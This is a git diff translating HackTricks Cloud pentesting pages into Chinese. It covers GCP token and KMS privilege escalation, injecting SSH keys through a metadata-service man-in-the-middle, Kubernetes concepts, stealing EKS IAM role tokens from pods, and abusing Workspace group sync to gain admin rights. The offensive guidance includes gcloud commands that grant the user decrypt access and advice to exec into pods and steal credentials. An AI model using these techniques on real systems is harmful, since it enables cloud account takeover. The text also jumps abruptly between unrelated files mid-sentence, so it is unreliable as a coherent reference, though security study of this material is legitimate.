permissions will be able to generate an OpenID JWT. These are used to assert identity and do not necessarily carry any implicit authorization against a resource. +具有上述权限的攻击者将能够生成 OpenID JWT。这些用于声明身份,并不一定对资源具有隐含的授权。 -According to this [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), it's necessary to indicate the audience (service where you want to use the token to authenticate to) and you will receive a JWT signed by google indicating the service account and the audience of the JWT. - -You can generate an OpenIDToken (if you have the access) with: +根据这篇[**有趣的文章**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b),需要指明受众(您希望使用令牌进行身份验证的服务),您将收到一个由 Google 签名的 JWT,指示服务帐户和 JWT 的受众。 +您可以使用以下命令生成 OpenIDToken(如果您有访问权限): ```bash # First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA gcloud auth activate-service-account --key-file=/path/to/svc_account.json # Then, generate token gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com ``` - -Then you can just use it to access the service with: - +然后你可以直接使用它来访问服务: ```bash curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app ``` - -Some services that support authentication via this kind of tokens are: +一些支持通过这种令牌进行身份验证的服务包括: - [Google Cloud Run](https://cloud.google.com/run/) - [Google Cloud Functions](https://cloud.google.com/functions/docs/) - [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto) -- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC) +- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id)(如果使用 Google OIDC) -You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py). +您可以在[**这里**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)找到有关如何为服务帐户创建 OpenID 令牌的示例。 -## References +## 参考文献 - [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md index 1ca91fe11..7fb7f70b9 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md @@ -4,89 +4,75 @@ ## KMS -Info about KMS: +关于 KMS 的信息: {{#ref}} ../gcp-services/gcp-kms-enum.md {{#endref}} -Note that in KMS the **permission** are not only **inherited** from Orgs, Folders and Projects but also from **Keyrings**. +请注意,在 KMS 中,**权限**不仅是从组织、文件夹和项目**继承**的,还来自于**密钥环**。 ### `cloudkms.cryptoKeyVersions.useToDecrypt` -You can use this permission to **decrypt information with the key** you have this permission over. - +您可以使用此权限来**使用您拥有此权限的密钥解密信息**。 ```bash gcloud kms decrypt \ - --location=[LOCATION] \ - --keyring=[KEYRING_NAME] \ - --key=[KEY_NAME] \ - --version=[KEY_VERSION] \ - --ciphertext-file=[ENCRYPTED_FILE_PATH] \ - --plaintext-file=[DECRYPTED_FILE_PATH] +--location=[LOCATION] \ +--keyring=[KEYRING_NAME] \ +--key=[KEY_NAME] \ +--version=[KEY_VERSION] \ +--ciphertext-file=[ENCRYPTED_FILE_PATH] \ +--plaintext-file=[DECRYPTED_FILE_PATH] ``` - ### `cloudkms.cryptoKeys.setIamPolicy` -An attacker with this permission could **give himself permissions** to use the key to decrypt information. - +拥有此权限的攻击者可以**授予自己权限**以使用密钥解密信息。 ```bash gcloud kms keys add-iam-policy-binding [KEY_NAME] \ - --location [LOCATION] \ - --keyring [KEYRING_NAME] \ - --member [MEMBER] \ - --role roles/cloudkms.cryptoKeyDecrypter +--location [LOCATION] \ +--keyring [KEYRING_NAME] \ +--member [MEMBER] \ +--role roles/cloudkms.cryptoKeyDecrypter ``` - ### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` -Here's a conceptual breakdown of how this delegation works: +这是关于此委托如何工作的概念性分解: -1. **Service Account A** has direct access to decrypt using a specific key in KMS. -2. **Service Account B** is granted the `useToDecryptViaDelegation` permission.

Notably, the metadata includes a **field for SSH public keys**. When a new public SSH key is added to the metadata, the agent automatically **authorizes** it in the `.authorized_key` file.

This request is designed to prompt the metadata server to send a response only if there's any change in the metadata since the last retrieval, identified by an Etag (`wait_for_change=true&last_etag=`). Additionally, a **timeout** parameter (`timeout_sec=`) is included. If no change occurs within the specified timeout, the server responds with the **unchanged values**. +该代理通过发送请求 **递归检索所有元数据值** (`GET /computeMetadata/v1/?recursive=true`) 来监控变化。该请求旨在促使元数据服务器仅在自上次检索以来元数据发生变化时发送响应,通过 Etag 进行识别 (`wait_for_change=true&last_etag=`)。此外,还包括一个 **超时** 参数 (`timeout_sec=`)。如果在指定的超时时间内没有发生变化,服务器将以 **未更改的值** 响应。 -This process allows the **IMDS** (Instance Metadata Service) to respond after **60 seconds** if no configuration change has occurred, creating a potential **window for injecting a fake configuration response** to the guest agent. +这个过程允许 **IMDS**(实例元数据服务)在 **60 秒** 后响应,如果没有配置更改,创建一个潜在的 **注入假配置响应** 的窗口给来宾代理。 -An attacker could exploit this by performing a **Man-in-the-Middle (MitM) attack**, spoofing the response from the IMDS server and **inserting a new public key**.

Before being made available in the marketplace, each Workspace application undergoes a review by Google to minimize potential misuse.

-1. **Identity creates a JWT:** The Identity uses the service account's private key (part of the JSON key pair file) to sign a JWT. This JWT contains claims about the service account, the target user to impersonate, and the OAuth scopes of access to the REST API which is being requested. -2. **The Identity uses the JWT to request an access token:** The application/user uses the JWT to request an access token from Google's OAuth 2.0 service. The request also includes the target user to impersonate (the user's Workspace email), and the scopes for which access is requested. -3. **Google's OAuth 2.0 service returns an access token:** The access token represents the service account's authority to act on behalf of the user for the specified scopes. This token is typically short-lived and must be refreshed periodically (per the application's need). It's essential to understand that the OAuth scopes specified in the JWT token have validity and impact on the resultant access token. For instance, access tokens possessing multiple scopes will hold validity for numerous REST API applications. -4. **The Identity uses the access token to call Google APIs**: Now with a relevant access token, the service can access the required REST API.

Most experienced users could install other kube-proxies from other vendors. -- **Sidecar container**: Sidecar containers are the containers that should run along with the main container in the pod. This sidecar pattern extends and enhances the functionality of current containers without changing them. Nowadays, We know that we use container technology to wrap all the dependencies for the application to run anywhere. A container does only one thing and does that thing very well. -- **Master process:** - - **Api Server:** Is the way the users and the pods use to communicate with the master process. Only authenticated request should be allowed. - - **Scheduler**: Scheduling refers to making sure that Pods are matched to Nodes so that Kubelet can run them. It has enough intelligence to decide which node has more available resources the assign the new pod to it. Note that the scheduler doesn't start new pods, it just communicate with the Kubelet process running inside the node, which will launch the new pod. - - **Kube Controller manager**: It checks resources like replica sets or deployments to check if, for example, the correct number of pods or nodes are running. In case a pod is missing, it will communicate with the scheduler to start a new one. It controls replication, tokens, and account services to the API. - - **etcd**: Data storage, persistent, consistent, and distributed. Is Kubernetes’s database and the key-value storage where it keeps the complete state of the clusters (each change is logged here). Components like the Scheduler or the Controller manager depends on this date to know which changes have occurred (available resourced of the nodes, number of pods running...) -- **Cloud controller manager**: Is the specific controller for flow controls and applications, i.e: if you have clusters in AWS or OpenStack. +- **节点**:带有 pod 或多个 pod 的操作系统。 +- **Pod**:围绕一个或多个容器的包装。一个 pod 应该只包含一个应用程序(因此通常,一个 pod 只运行 1 个容器)。pod 是 Kubernetes 抽象运行容器技术的方式。 +- **服务**:每个 pod 从节点的内部范围中有 1 个内部 **IP 地址**。但是,它也可以通过服务暴露。**服务也有一个 IP 地址**,其目标是维护 pod 之间的通信,因此如果一个 pod 死亡,**新的替代品**(具有不同的内部 IP)**将可访问**,并暴露在**服务的相同 IP 上**。可以配置为内部或外部。服务还充当**负载均衡器,当 2 个 pod 连接到同一服务时**。\ +当创建一个 **服务** 时,可以通过运行 `kubectl get endpoints` 找到每个服务的端点。 +- **Kubelet**:主要节点代理。建立节点与 kubectl 之间通信的组件,只能运行 pod(通过 API 服务器)。Kubelet 不管理未由 Kubernetes 创建的容器。 +- **Kube-proxy**:负责 apiserver 和节点之间通信(服务)的服务。基础是节点的 IPtables。经验丰富的用户可以安装来自其他供应商的其他 kube-proxies。 +- **Sidecar 容器**:Sidecar 容器是应该与 pod 中的主容器一起运行的容器。此 sidecar 模式扩展并增强当前容器的功能,而无需更改它们。如今,我们知道我们使用容器技术来包装应用程序在任何地方运行所需的所有依赖项。一个容器只做一件事,并且做得很好。 +- **主进程:** +- **Api 服务器:** 是用户和 pod 与主进程通信的方式。只有经过身份验证的请求才应被允许。 +- **调度器**:调度是指确保 Pods 与 Nodes 匹配,以便 Kubelet 可以运行它们。它具有足够的智能来决定哪个节点有更多可用资源并将新 pod 分配给它。请注意,调度器不会启动新 pod,它只是与运行在节点内部的 Kubelet 进程通信,该进程将启动新 pod。 +- **Kube Controller 管理器**:检查资源,如副本集或部署,以检查例如,是否正在运行正确数量的 pod 或节点。如果缺少 pod,它将与调度器通信以启动一个新 pod。它控制复制、令牌和 API 的帐户服务。 +- **etcd**:数据存储,持久、一致和分布式。是 Kubernetes 的数据库和键值存储,保存集群的完整状态(每个更改在此处记录)。调度器或控制器管理器等组件依赖于此数据以了解发生了哪些更改(节点的可用资源、正在运行的 pod 数量...)。 +- **Cloud controller manager**:是流控制和应用程序的特定控制器,即:如果您在 AWS 或 OpenStack 中有集群。 -Note that as the might be several nodes (running several pods), there might also be several master processes which their access to the Api server load balanced and their etcd synchronized. +请注意,由于可能有多个节点(运行多个 pod),因此也可能有多个主进程,它们对 Api 服务器的访问是负载均衡的,并且它们的 etcd 是同步的。 -**Volumes:** +**卷:** -When a pod creates data that shouldn't be lost when the pod disappear it should be stored in a physical volume. **Kubernetes allow to attach a volume to a pod to persist the data**. The volume can be in the local machine or in a **remote storage**. If you are running pods in different physical nodes you should use a remote storage so all the pods can access it. +当 pod 创建的数据在 pod 消失时不应丢失时,应存储在物理卷中。**Kubernetes 允许将卷附加到 pod 以持久化数据**。卷可以在本地机器上或在 **远程存储** 中。如果您在不同的物理节点上运行 pod,则应使用远程存储,以便所有 pod 都可以访问它。 -**Other configurations:** +**其他配置:** -- **ConfigMap**: You can configure **URLs** to access services. The pod will obtain data from here to know how to communicate with the rest of the services (pods). Note that this is not the recommended place to save credentials! -- **Secret**: This is the place to **store secret data** like passwords, API keys... encoded in B64. The pod will be able to access this data to use the required credentials. -- **Deployments**: This is where the components to be run by kubernetes are indicated. A user usually won't work directly with pods, pods are abstracted in **ReplicaSets** (number of same pods replicated), which are run via deployments. Note that deployments are for **stateless** applications. The minimum configuration for a deployment is the name and the image to run. -- **StatefulSet**: This component is meant specifically for applications like **databases** which needs to **access the same storage**. -- **Ingress**: This is the configuration that is use to **expose the application publicly with an URL**. Note that this can also be done using external services, but this is the correct way to expose the application. - - If you implement an Ingress you will need to create **Ingress Controllers**. The Ingress Controller is a **pod** that will be the endpoint that will receive the requests and check and will load balance them to the services. the ingress controller will **send the request based on the ingress rules configured**. Note that the ingress rules can point to different paths or even subdomains to different internal kubernetes services. - - A better security practice would be to use a cloud load balancer or a proxy server as entrypoint to don't have any part of the Kubernetes cluster exposed. - - When request that doesn't match any ingress rule is received, the ingress controller will direct it to the "**Default backend**". You can `describe` the ingress controller to get the address of this parameter. - - `minikube addons enable ingress` +- **ConfigMap**:您可以配置 **URLs** 以访问服务。pod 将从这里获取数据以了解如何与其余服务(pod)通信。请注意,这不是保存凭据的推荐位置! +- **Secret**:这是 **存储机密数据** 的地方,如密码、API 密钥...以 B64 编码。pod 将能够访问这些数据以使用所需的凭据。 +- **Deployments**:这是指示 Kubernetes 运行的组件的地方。用户通常不会直接与 pod 一起工作,pod 在 **ReplicaSets**(相同 pod 的数量复制)中被抽象,后者通过部署运行。请注意,部署适用于 **无状态** 应用程序。部署的最小配置是名称和要运行的镜像。 +- **StatefulSet**:该组件专门用于需要 **访问相同存储** 的应用程序,如 **数据库**。 +- **Ingress**:这是用于 **通过 URL 公开应用程序的配置**。请注意,这也可以使用外部服务完成,但这是公开应用程序的正确方式。 +- 如果您实现了 Ingress,您将需要创建 **Ingress Controllers**。Ingress Controller 是一个 **pod**,将成为接收请求的端点,并检查并将其负载均衡到服务。Ingress Controller 将 **根据配置的 Ingress 规则发送请求**。请注意,Ingress 规则可以指向不同的路径或甚至子域到不同的内部 Kubernetes 服务。 +- 更好的安全实践是使用云负载均衡器或代理服务器作为入口点,以避免 Kubernetes 集群的任何部分暴露。 +- 当收到不匹配任何 Ingress 规则的请求时,Ingress Controller 将其定向到 "**默认后端**"。您可以 `describe` Ingress Controller 以获取此参数的地址。 +- `minikube addons enable ingress` -### PKI infrastructure - Certificate Authority CA: +### PKI 基础设施 - 证书颁发机构 CA: ![](https://sickrov.github.io/media/Screenshot-66.jpg) -- CA is the trusted root for all certificates inside the cluster. -- Allows components to validate to each other. -- All cluster certificates are signed by the CA. -- ETCd has its own certificate. -- types: - - apiserver cert. - - kubelet cert. - - scheduler cert. +- CA 是集群中所有证书的受信任根。 +- 允许组件相互验证。 +- 所有集群证书均由 CA 签名。 +- etcd 有自己的证书。 +- 类型: +- apiserver 证书。 +- kubelet 证书。 +- 调度器证书。 -## Basic Actions +## 基本操作 ### Minikube -**Minikube** can be used to perform some **quick tests** on kubernetes without needing to deploy a whole kubernetes environment.

A special supplemental group that applies to all containers in a pod. Some volume types allow the Kubelet to change the ownership of that volume to be owned by the pod:
1. The owning GID will be the FSGroup
2. The setgid bit is set (new files created in the volume will be owned by FSGroup)
3. The permission bits are OR'd with rw-rw---- If unset, the Kubelet will not modify the ownership and permissions of any volume

| +|

fsGroup
整数

|

适用于所有容器的特殊补充组。某些卷类型允许 Kubelet 将该卷的所有权更改为由 Pod 拥有
1. 拥有的 GID 将是 FSGroup
2. 设置了 setgid 位(在卷中创建的新文件将由 FSGroup 拥有)
3. 权限位与 rw-rw---- 进行 OR 运算。如果未设置,Kubelet 将不会修改任何卷的所有权和权限

First of all you need to [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). -2. Then you create an IAM role with the permissions the SA will require. -3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (or the namespaces giving access to the role to all the SAs of the namespace). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_. -4. Finally, **create a SA with an annotation indicating the ARN of the role**, and the pods running with that SA will have **access to the token of the role**. The **token** is **written** inside a file and the path is specified in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +这是 **AWS 推荐的方式**。 +1. 首先,您需要 [为集群创建一个 OIDC 提供者](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)。 +2. 然后,您创建一个具有 SA 所需权限的 IAM 角色。 +3. 创建一个 [IAM 角色与 SA 之间的信任关系](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) 名称(或命名空间,允许角色访问命名空间中所有 SA)。 _信任关系主要检查 OIDC 提供者名称、命名空间名称和 SA 名称_。 +4. 最后,**创建一个带有指示角色 ARN 的注释的 SA**,运行该 SA 的 pods 将具有 **访问角色的令牌**。**令牌**被 **写入** 文件中,路径在 **`AWS_WEB_IDENTITY_TOKEN_FILE`** 中指定(默认:`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> As an attacker, if you can enumerate a K8s cluster, check for **service accounts with that annotation** to **escalate to AWS**. To do so, just **exec/create** a **pod** using one of the IAM **privileged service accounts** and steal the token. +> 作为攻击者,如果您可以枚举 K8s 集群,请检查具有 **该注释的服务帐户** 以 **升级到 AWS**。为此,只需 **exec/create** 一个 **pod**,使用其中一个 IAM **特权服务帐户** 并窃取令牌。 > -> Moreover, if you are inside a pod, check for env variables like **AWS_ROLE_ARN** and **AWS_WEB_IDENTITY_TOKEN.** +> 此外,如果您在 pod 内,请检查环境变量,如 **AWS_ROLE_ARN** 和 **AWS_WEB_IDENTITY_TOKEN**。 > [!CAUTION] -> Sometimes the **Turst Policy of a role** might be **bad configured** and instead of giving AssumeRole access to the expected service account, it gives it to **all the service accounts**. Therefore, if you are capable of write an annotation on a controlled service account, you can access the role. +> 有时,角色的 **信任策略** 可能配置不当,而不是将 AssumeRole 访问权限授予预期的服务帐户,而是授予 **所有服务帐户**。因此,如果您能够在受控服务帐户上写入注释,则可以访问该角色。 > -> Check the **following page for more information**: +> 请查看 **以下页面以获取更多信息**: {{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} -### Find Pods a SAs with IAM Roles in the Cluster - -This is a script to easily **iterate over the all the pods and sas** definitions **looking** for that **annotation**: +### 查找集群中具有 IAM 角色的 Pods 和 SAs +这是一个脚本,可以轻松 **遍历所有 pods 和 sas** 定义 **查找** 该 **注释**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do - for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do - echo "Pod: $ns/$pod" - kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com" - echo "" - echo "" - done - for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do - echo "SA: $ns/$sa" - kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com" - echo "" - echo "" - done +for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do +echo "Pod: $ns/$pod" +kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com" +echo "" +echo "" +done +for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do +echo "SA: $ns/$sa" +kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com" +echo "" +echo "" +done done | grep -B 1 "amazonaws.com" ``` - ### Node IAM Role -The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**.

This means that to attack a synchronized user (or create a new one that gets synchronized) you will need first to figure out which users are being synchronized. +当同步发生时,它可能会同步 **来自 AD 的所有用户或仅来自特定 OU 的用户**,或仅同步 **EntraID 中特定组的成员用户**。这意味着要攻击一个已同步的用户(或创建一个新的被同步的用户),您需要首先弄清楚哪些用户正在被同步。 -- Users might be **reusing the password or not from AD or EntraID**, but this mean that you will need to **compromise the passwords of the users to login**. -- If you have access to the **mails** of the users, you could **change the Workspace password of an existing user**, or **create a new user**, wait until it gets synchronized an setup the account. +- 用户可能在 AD 或 EntraID 中**重用密码,也可能不重用**,但这意味着您需要**攻陷用户的密码以登录**。 +- 如果您可以访问用户的 **邮件**,您可以**更改现有用户的 Workspace 密码**,或**创建一个新用户**,等待其被同步并设置帐户。 -Once you access the user inside Workspace it might be given some **permissions by default**. +一旦您访问了 Workspace 中的用户,可能会默认授予一些 **权限**。 -#### Attacking Groups +#### 攻击组 -You also need to figure out first which groups are being synchronized. Although there is the possibility that **ALL** the groups are being synchronized (as Workspace allows this). +您还需要首先弄清楚哪些组正在被同步。尽管有可能**所有**组都在同步(因为 Workspace 允许这样做)。 > [!NOTE] -> Note that even if the groups and memberships are imported into Workspace, the **users that aren't synchronized in the users sychronization won't be created** during groups synchronization even if they are members of any of the groups synchronized. +> 请注意,即使组和成员资格被导入到 Workspace,**在用户同步中未同步的用户在组同步期间不会被创建**,即使他们是任何同步组的成员。 -If you know which groups from Azure are being **assigned permissions in Workspace or GCP**, you could just add a compromised user (or newly created) in that group and get those permissions. +如果您知道 Azure 中哪些组被**分配了 Workspace 或 GCP 的权限**,您可以将一个被攻陷的用户(或新创建的用户)添加到该组中并获得这些权限。 -There is another option to abuse existing privileged groups in Workspace. For example, the group `gcp-organization-admins@` usually has high privileges over GCP. +还有另一种方法可以滥用 Workspace 中现有的特权组。例如,组 `gcp-organization-admins@` 通常在 GCP 上具有高权限。 -If the synchronization from, for example EntraID, to Workspace is **configured to replace the domain** of the imported object **with the email of Workspace**, it will be possible for an attacker to create the group `gcp-organization-admins@` in EntraID, add a user in this group, and wait until the synchronization of all the groups happen.\ -**The user will be added in the group `gcp-organization-admins@` escalating privileges in GCP.** +如果从 EntraID 到 Workspace 的同步**配置为用 Workspace 的电子邮件替换导入对象的域**,攻击者将能够在 EntraID 中创建组 `gcp-organization-admins@`,将用户添加到该组,并等待所有组的同步发生。\ +**该用户将被添加到组 `gcp-organization-admins@` 中,从而在 GCP 中提升权限。** -### From Google Workspace -> AD/EntraID +### 从 Google Workspace -> AD/EntraID -Note that Workspace require credentials with read only access over AD or EntraID to synchronize users and groups. Therefore, it's not possible to abuse Google Workspace to perform any change in AD or EntraID. So **this isn't possible** at this moment. +请注意,Workspace 需要具有对 AD 或 EntraID 的只读访问权限的凭据以同步用户和组。因此,目前无法滥用 Google Workspace 对 AD 或 EntraID 进行任何更改。**因此,这在此时是不可能的**。 -I also don't know where does Google store the AD credentials or EntraID token and you **can't recover them re-configuring the synchronizarion** (they don't appear in the web form, you need to give them again). However, from the web it might be possible to abuse the current functionality to **list users and groups**. +我也不知道 Google 将 AD 凭据或 EntraID 令牌存储在哪里,您**无法通过重新配置同步来恢复它们**(它们不会出现在网页表单中,您需要再次提供)。但是,从网页上可能可以滥用当前功能来**列出用户和组**。 {{#include ../../../banners/hacktricks-training.md}} - - - -
